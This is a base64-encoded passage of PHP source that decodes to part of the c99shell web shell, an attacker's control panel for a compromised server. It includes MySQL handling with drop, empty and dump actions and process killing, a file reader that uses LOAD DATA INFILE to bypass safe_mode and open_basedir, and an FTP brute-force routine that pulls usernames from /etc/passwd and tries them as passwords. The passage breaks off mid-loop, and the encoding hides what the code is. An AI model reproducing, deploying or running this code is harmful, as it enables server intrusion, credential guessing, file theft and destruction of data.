IGFzICRrPT4kdikNCiAgICAgICB7DQogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7DQogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgfQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJsZWZ0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgfQ0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgICRpID0gMDsNCiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOw0KICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOw0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4iXCI+PGI+Ii4kcm93WyJOYW1lIl0uIjwvYj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIkNyZWF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPj8vYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0Ymxkcm9wXCI+RHJvcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGNoZWNrXCI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibHJlcGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsYW5hbHl6ZVwiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsNCiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0NCiAgIGlmICghZW1wdHkoJHNxbF9hY3QpKQ0KICAgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld2RiIikNCiAgICB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJzdGF0dXMiKQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+PC9jZW50ZXI+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVydmFycyIpDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpDQogICAgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI8Yj5LaWxsaW5nIHByb2Nlc3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30NCiAgICAgICAkZiA9ICIiOw0KICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30NCiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IC8vY29tbWVudCBpdCBpZiB5b3Ugd2FudCB0byBsZWF2ZSBkYXRhYmFzZQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KIGlmICgkc3FsX3NvY2spDQogew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7DQogfQ0KIGVjaG8gIjwvdGFibGU+IjsNCn0NCmlmICgkYWN0ID09ICJta2RpciIpDQp7DQogaWYgKCRta2RpciAhPSAkZCkNCiB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQ0KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVjaG8gIjxicj48YnI+IjsNCiB9DQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOw0KfQ0KaWYgKCRhY3QgPT0gImZ0cHF1aWNrYnJ1dGUiKQ0Kew0KIGVjaG8gIjxiPkZ0cCBRdWljayBicnV0ZTo8L2I+PGJyPiI7DQogaWYgKCF3aW4pIHtlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9DQogZWxzZQ0KIHsNCiAgZnVuY3Rpb24gYzk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkNCiAgew0KICAgaWYgKCRmcWJfb25seXdpdGhzaCkgeyRUUlVFID0gKCFpbl9hcnJheSgkc2gsYXJyYXkoIi9iaW4vRkFMU0UiLCIvc2Jpbi9ub2xvZ2luIikpKTt9DQogICBlbHNlIHskVFJVRSA9IFRSVUU7fQ0KICAgaWYgKCRUUlVFKQ0KICAgew0KICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsNCiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKQ0KICAgIHsNCiAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDovLyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5lY3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iOw0KICAgICBvYl9mbHVzaCgpOw0KICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgew0KICAgaWYgKCFpc19udW1lcmljKCRmcWJfbGVuZ2h0KSkgeyRmcWJfbGVuZ2h0ID0gJG5peHB3ZHBlcnBhZ2U7fQ0KICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOw0KICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCBnZXQgL2V0Yy9wYXNzd2QgZm9yIHBhc3N3b3JkLWxpc3QuIjt9DQogICBlbHNlDQogICB7DQogICAgaWYgKCRmcWJfbG9nZ2luZykNCiAgICB7DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHskZnFiX2xvZ2ZwID0gZm9wZW4oJGZxYl9sb2dmaWxlLCJ3Iik7fQ0KICAgICBlbHNlIHskZnFiX2xvZ2ZwID0gRkFMU0U7fQ0KICAgICAkZnFiX2xvZyA9ICJGVFAgUXVpY2sgQnJ1dGUgKGNhbGxlZCBjOTlzaGVsbCB2LiAiLiRzaHZlci4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcblxyXG4iOw0KICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7ZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQ0KICAgIH0NCiAgICBvYl9mbHVzaCgpOw0KICAgICRpID0gJHN1Y2Nlc3MgPSAwOw0KICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOw0KICAgIHdoaWxlKCFmZW9mKCRmcCkpDQogICAgew0KICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsNCiAgICAgaWYgKGM5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQ0KICAgICB7